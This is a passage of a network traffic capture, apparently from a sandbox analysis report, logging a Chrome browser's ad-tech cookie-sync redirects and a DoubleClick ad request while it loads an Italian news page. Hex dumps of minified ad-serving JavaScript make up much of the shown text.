XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:32 UTC	1575	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://visitor-us-west-2.omnitagjs.com/visitor/sync?name=Xandr+%E2%80%93+Invest+DSP+-+Banner&ttl=720&uid=75d56568a11564bfb79a01d2fa9fdb29&visitor=3287041831475129344&gdpr=0&gdpr_consent=&gdpr=0&gdpr_consent= AN-X-Request-Uuid: 214ef21e-f65b-49f8-b27a-20e9b24ee487 Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:32 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:32 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:32 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 584.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.4	50281	8.2.110.134	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	653	OUT	GET /77781087eb9a0621642f9ebec6beb8d1.gif?puid=[UID]&redir=[RED]&gdpr=0&gdpr_consent= HTTP/1.1 Host: cs.krushmedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	546	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 0 Connection: close Set-Cookie: krm_usr=9a546022-cbc4-515f-81c6-99d3a450e115; path=/; domain=.krushmedia.com; expires=Thu, 11 Apr 2024 08:51:32 GMT;SameSite=None;Secure Set-Cookie: krm_r=572; path=/; domain=.krushmedia.com; expires=Thu, 11 Apr 2024 08:51:32 GMT;SameSite=None;Secure Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Location: http://ce.lijit.com/merge?pid=102&3pid=9a546022-cbc4-515f-81c6-99d3a450e115

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.4	50285	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	939	OUT	GET /getuid?https%3A%2F%2Fsync.admanmedia.com%2Fappnexus.gif%3Fpuid%3D%24UID%26gdpr%3D[GDPR]%26gdpr_consent%3D[GDPR_CONSENT] HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.admanmedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:32 UTC	1472	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://sync.admanmedia.com/appnexus.gif?puid=3287041831475129344&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT] AN-X-Request-Uuid: e1f133b8-4e1c-440e-bf59-2ad4726db5e0 Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:32 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:32 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:32 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 584.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.4	50245	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	752	OUT	GET /track/cmf/generic?ttd_pid=k2j3gqp&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..
2024-03-28 08:51:32 UTC	575	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 319 Connection: close server: Kestrel location: https://visitor.omnitagjs.com/visitor/sync?uid=8122fdac60517b1efe1389612f3dfb34&visitor=a109dc60-dc7c-45e5-ab53-e2448a53420f&name=THE_TRADE_DESK set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:32 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYASABKAIyCwiG7s_138PnPBAFOAFaB2syajNncXBgAg..; expires=Fri, 28 Mar 2025 08:51:32 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:32 UTC	319	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 76 69 73 69 74 6f 72 2e 6f 6d 6e 69 74 61 67 6a 73 2e 63 6f 6d 2f 76 69 73 69 74 6f 72 2f 73 79 6e 63 3f 75 69 64 3d 38 31 32 32 66 64 61 63 36 30 35 31 37 62 31 65 66 65 31 33 38 39 36 31 32 66 33 64 66 62 33 34 26 76 69 73 69 74 6f 72 3d 61 31 30 39 64 63 36 30 2d 64 63 37 63 2d 34 35 65 35 2d 61 62 35 33 2d 65 32 34 34 38 61 35 33 34 32 30 66 26 6e 61 6d 65 3d 54 48 45 5f 54 52 41 44 45 5f 44 45 53 4b 22 3e 68 74 74 70 73 3a 2f 2f 76 69 73 69 74 6f 72 2e 6f 6d 6e 69 74 61 67 6a 73 2e 63 6f 6d 2f 76 69 73 69 74 6f 72 2f 73 79 6e 63 3f 75 69 64 3d 38 31 32 32 66 64 61 63 36 30 35 31 37 62 31 65 66 65 31 33 38 39 36 31 32 66 33 64 66 62 33 34 26 76 69 73 69 Data Ascii: Redirecting to: <a href="https://visitor.omnitagjs.com/visitor/sync?uid=8122fdac60517b1efe1389612f3dfb34&visitor=a109dc60-dc7c-45e5-ab53-e2448a53420f&name=THE_TRADE_DESK">https://visitor.omnitagjs.com/visitor/sync?uid=8122fdac60517b1efe1389612f3dfb34&visi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.4	50284	142.251.16.157	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	2473	OUT	GET /gampad/ads?pvsid=1536995679409651&correlator=2406699025139339&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2CBSNEWS-DSK-Spalla-dx-300X600-ATF&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x250%7C300x600&ifi=2&didk=315054745&sfv=1-0-40&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615890346&lmt=1711560111&adxs=842&adys=593&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=2&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=324x636&msz=324x0&fws=4&ohw=324&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvQlNORVdTLURTSy1TcGFsbGEtZHgtMzAwWDYwMC1BVEYiLFtdXV1dLG51bGwsM10.&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Doptical%26refreshCount%3D0%26amznbid%3D1%26amznp%3D1&cust_params=consent%3Dyes&adks=979779281&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Ad-Auction-Fetch: ?1 Origin: https://bsnews.it X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:32 UTC	812	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://bsnews.it Observe-Browsing-Topics: ?1 Google-LineItem-Id: -1 Google-Creative-Id: -1 Date: Thu, 28 Mar 2024 08:51:32 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:32 UTC	440	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 2f 31 35 30 31 33 34 35 38 30 2f 42 53 4e 45 57 53 2d 44 53 4b 2d 53 70 61 6c 6c 61 2d 64 78 2d 33 30 30 58 36 30 30 2d 41 54 46 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 36 30 30 2c 33 30 30 2c 30 2c 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 31 2c 6e 75 6c 6c 2c 5b 31 33 38 34 31 36 31 33 32 37 33 35 5d 2c 5b 34 36 37 38 30 34 39 37 31 34 5d 2c 5b 35 37 37 36 38 30 32 30 5d 2c 5b 32 33 31 31 36 30 31 31 37 31 5d 2c 5b 32 35 37 34 33 32 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 43 50 44 6d 6a 49 72 4b 6c 6f 55 44 46 64 4c 68 4b 41 55 64 Data Ascii: 8000{"/150134580/BSNEWS-DSK-Spalla-dx-300X600-ATF":["html",0,null,null,1,600,300,0,1,null,null,1,1,null,[138416132735],[4678049714],[57768020],[2311601171],[257432],null,null,null,null,null,null,1,null,null,null,null,null,null,null,"CPDmjIrKloUDFdLhKAUd
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 76 61 72 20 6a 73 63 56 65 72 73 69 6f 6e 20 3d 20 27 72 32 30 32 34 30 33 32 36 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 76 61 72 20 67 6f 6f 67 6c 65 5f 63 61 73 6d 3d 5b 5d 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 6c 65 66 74 4d 61 72 67 69 6e 3d 22 30 22 20 74 6f 70 4d 61 72 67 69 6e 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 64 69 63 6e 66 20 3d 20 7b 65 62 72 70 66 61 3a 20 74 72 75 65 2c 7d 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 6a 63 3d 22 34 30 22 20 64 61 74 61 2d 6a 63 2d Data Ascii: ype html><html><head><script>var jscVersion = 'r20240326';</script><script>var google_casm=[];</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {ebrpfa: true,};</script><script data-jc="40" data-jc-
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 74 22 29 29 7c 7c 28 77 28 29 3f 30 3a 76 28 22 4f 70 65 72 61 22 29 29 7c 7c 28 77 28 29 3f 30 3a 76 28 22 45 64 67 65 22 29 29 7c 7c 28 77 28 29 3f 65 61 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 76 28 22 45 64 67 2f 22 29 29 7c 7c 77 28 29 26 26 65 61 28 22 4f 70 65 72 61 22 29 29 3b 76 61 72 20 69 61 3d 7b 7d 2c 78 3d 6e 75 6c 6c 3b 76 61 72 20 79 3d 53 79 6d 62 6f 6c 28 29 3b 76 61 72 20 6a 61 3d 7b 7d 2c 6b 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6c 61 28 61 29 7b 72 65 74 75 72 6e 21 28 21 61 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 61 2e 67 21 3d 3d 6b 61 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 61 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f Data Ascii: t"))\|\|(w()?0:v("Opera"))\|\|(w()?0:v("Edge"))\|\|(w()?ea("Microsoft Edge"):v("Edg/"))\|\|w()&&ea("Opera"));var ia={},x=null;var y=Symbol();var ja={},ka={};function la(a){return!(!a\|\|"object"!==typeof a\|\|a.g!==ka)}function ma(a){return null!==a&&"object"===typeo
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 3b 65 6c 73 65 20 69 66 28 6d 61 28 61 29 29 7b 63 6f 6e 73 74 20 66 3d 7b 7d 3b 66 6f 72 28 6c 65 74 20 67 20 69 6e 20 61 29 66 5b 67 5d 3d 78 61 28 61 5b 67 5d 2c 62 2c 63 2c 64 2c 65 29 3b 61 3d 66 7d 65 6c 73 65 20 61 3d 62 28 61 2c 64 29 3b 72 65 74 75 72 6e 20 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 79 61 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 63 6f 6e 73 74 20 66 3d 64 7c 7c 63 3f 61 5b 79 5d 7c 30 3a 30 3b 64 3d 64 3f 21 21 28 66 26 33 32 29 3a 76 6f 69 64 20 30 3b 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 3b 66 6f 72 28 6c 65 74 20 67 3d 30 3b 67 3c 61 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 61 5b 67 5d 3d 78 61 28 61 5b 67 5d 2c 62 2c 63 2c 64 2c 65 29 3b 63 26 26 63 28 66 2c 61 29 3b 72 65 74 75 72 6e 20 Data Ascii: ;else if(ma(a)){const f={};for(let g in a)f[g]=xa(a[g],b,c,d,e);a=f}else a=b(a,d);return a}}function ya(a,b,c,d,e){const f=d\|\|c?a[y]\|0:0;d=d?!!(f&32):void 0;a=Array.prototype.slice.call(a);for(let g=0;g<a.length;g++)a[g]=xa(a[g],b,c,d,e);c&&c(f,a);return
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 64 20 30 2c 21 31 29 2c 21 30 29 7d 7d 3b 46 2e 70 72 6f 74 6f 74 79 70 65 2e 76 3d 6a 61 3b 20 46 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 61 28 74 68 69 73 2c 74 68 69 73 2e 6c 2c 21 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 7d 3b 20 66 75 6e 63 74 69 6f 6e 20 43 61 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 63 61 3f 76 6f 69 64 20 30 3a 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 42 3b 63 6f 6e 73 74 20 65 3d 28 63 3f 61 2e 6c 3a 62 29 5b 79 5d 3b 61 3d 62 2e 6c 65 6e 67 74 68 3b 69 66 28 21 61 29 72 65 74 75 72 6e 20 62 3b 6c 65 74 20 66 2c 67 3b 69 66 28 6d 61 28 63 3d 62 5b 61 2d 31 5d 29 29 7b 61 3a 7b 76 61 72 20 68 3d 63 3b 6c 65 74 20 6e 3d 7b 7d 2c 70 3d 21 31 3b 66 6f 72 28 Data Ascii: d 0,!1),!0)}};F.prototype.v=ja; F.prototype.toString=function(){return Ca(this,this.l,!1).toString()}; function Ca(a,b,c){var d=ca?void 0:a.constructor.B;const e=(c?a.l:b)[y];a=b.length;if(!a)return b;let f,g;if(ma(c=b[a-1])){a:{var h=c;let n={},p=!1;for(
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 4c 69 73 74 65 6e 65 72 28 62 2c 63 2c 21 31 29 7d 3b 76 61 72 20 4c 3d 61 3d 3e 7b 76 61 72 20 62 3d 22 73 22 3b 69 66 28 61 2e 73 26 26 61 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 62 29 29 72 65 74 75 72 6e 20 61 2e 73 3b 62 3d 6e 65 77 20 61 3b 72 65 74 75 72 6e 20 61 2e 73 3d 62 7d 3b 76 61 72 20 4e 61 3d 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5b 5e 3a 2f 3f 23 2e 5d 2b 29 3a 29 3f 28 3f 3a 2f 2f 28 3f 3a 28 5b 5e 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 2a 29 40 29 3f 28 5b 5e 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 2a 3f 29 28 3f 3a 3a 28 5b 30 2d 39 5d 2b 29 29 3f 28 3f 3d 5b 5c 5c 5c 5c 5c 5c 5c 5c 2f 3f 23 5d 7c 24 29 29 3f 28 5b 5e 3f 23 5d 2b 29 3f 28 3f 3a 5c 5c 5c 5c 3f 28 5b 5e 23 5d 2a 29 29 3f 28 3f 3a 23 28 5b 5c 5c 5c 5c 73 5c 5c 5c 5c 53 Data Ascii: Listener(b,c,!1)};var L=a=>{var b="s";if(a.s&&a.hasOwnProperty(b))return a.s;b=new a;return a.s=b};var Na=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\\\\\/?#])@)?([^\\\\\\\\/?#]?)(?::([0-9]+))?(?=[\\\\\\\\/?#]\|$))?([^?#]+)?(?:\\\\?([^#]*))?(?:#([\\\\s\\\\S
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 28 61 2c 62 2c 63 3d 6e 75 6c 6c 2c 64 3d 21 31 2c 65 3d 21 31 29 7b 58 61 28 61 2c 62 2c 63 2c 21 31 2c 64 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 58 61 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 3d 21 31 29 7b 61 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 7c 7c 28 61 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 3d 5b 5d 29 3b 63 6f 6e 73 74 20 67 3d 57 61 28 22 49 4d 47 22 2c 61 2e 64 6f 63 75 6d 65 6e 74 29 3b 69 66 28 63 7c 7c 65 29 7b 63 6f 6e 73 74 20 68 3d 6b 3d 3e 7b 63 26 26 63 28 6b 29 3b 69 66 28 65 29 7b 6b 3d 61 2e 67 6f 6f 67 6c 65 5f 69 6d 61 67 65 5f 72 65 71 75 65 73 74 73 3b 63 6f 6e 73 74 20 6c 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 4f 66 2e 63 61 6c 6c 28 6b 2c 67 2c 76 6f Data Ascii: (a,b,c=null,d=!1,e=!1){Xa(a,b,c,!1,d,e)}function Xa(a,b,c,d,e,f=!1){a.google_image_requests\|\|(a.google_image_requests=[]);const g=Wa("IMG",a.document);if(c\|\|e){const h=k=>{c&&c(k);if(e){k=a.google_image_requests;const l=Array.prototype.indexOf.call(k,g,vo
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 7d 7d 7d 2c 65 62 3b 63 6c 61 73 73 20 68 62 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 65 72 72 6f 72 3d 61 3b 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 62 2e 63 6f 6e 74 65 78 74 3b 74 68 69 73 2e 6d 73 67 3d 62 2e 6d 65 73 73 61 67 65 7c 7c 22 22 3b 74 68 69 73 2e 69 64 3d 62 2e 69 64 7c 7c 22 6a 73 65 72 72 6f 72 22 3b 74 68 69 73 2e 6d 65 74 61 3d 7b 7d 7d 7d 3b 63 6f 6e 73 74 20 69 62 3d 52 65 67 45 78 70 28 22 5e 68 74 74 70 73 3f 3a 2f 2f 28 5c 5c 5c 5c 77 7c 2d 29 2b 5c 5c 5c 5c 2e 63 64 6e 5c 5c 5c 5c 2e 61 6d 70 70 72 6f 6a 65 63 74 5c 5c 5c 5c 2e 28 6e 65 74 7c 6f 72 67 29 28 5c 5c 5c 5c 3f 7c 2f 7c 24 29 22 29 3b 76 61 72 20 6a 62 3d 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 2c 62 29 7b 74 68 69 73 2e 67 Data Ascii: }}},eb;class hb{constructor(a,b){this.error=a;this.context=b.context;this.msg=b.message\|\|"";this.id=b.id\|\|"jserror";this.meta={}}};const ib=RegExp("^https?://(\\\\w\|-)+\\\\.cdn\\\\.ampproject\\\\.(net\|org)(\\\\?\|/\|$)");var jb=class{constructor(a,b){this.g
2024-03-28 08:51:32 UTC	1252	IN	Data Raw: 6f 67 6c 65 5f 6a 73 5f 72 65 70 6f 72 74 69 6e 67 5f 71 75 65 75 65 2c 62 3d 61 2e 67 6f 6f 67 6c 65 5f 6d 65 61 73 75 72 65 5f 6a 73 5f 74 69 6d 69 6e 67 29 3b 74 68 69 73 2e 67 3d 53 28 29 7c 7c 28 6e 75 6c 6c 21 3d 62 3f 62 3a 31 3e 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 7d 73 74 61 72 74 28 61 2c 62 29 7b 69 66 28 21 74 68 69 73 2e 67 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 6e 65 77 20 6e 62 28 61 2c 62 29 3b 62 3d 60 67 6f 6f 67 5f 24 7b 61 2e 6c 61 62 65 6c 7d 5f 24 7b 61 2e 75 6e 69 71 75 65 49 64 7d 5f 73 74 61 72 74 60 3b 52 26 26 53 28 29 26 26 52 2e 6d 61 72 6b 28 62 29 3b 72 65 74 75 72 6e 20 61 7d 65 6e 64 28 61 29 7b 69 66 28 74 68 69 73 2e 67 26 26 22 6e 75 6d 62 65 72 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2e 76 61 6c 75 65 29 7b 61 Data Ascii: ogle_js_reporting_queue,b=a.google_measure_js_timing);this.g=S()\|\|(null!=b?b:1>Math.random())}start(a,b){if(!this.g)return null;a=new nb(a,b);b=`goog_${a.label}_${a.uniqueId}_start`;R&&S()&&R.mark(b);return 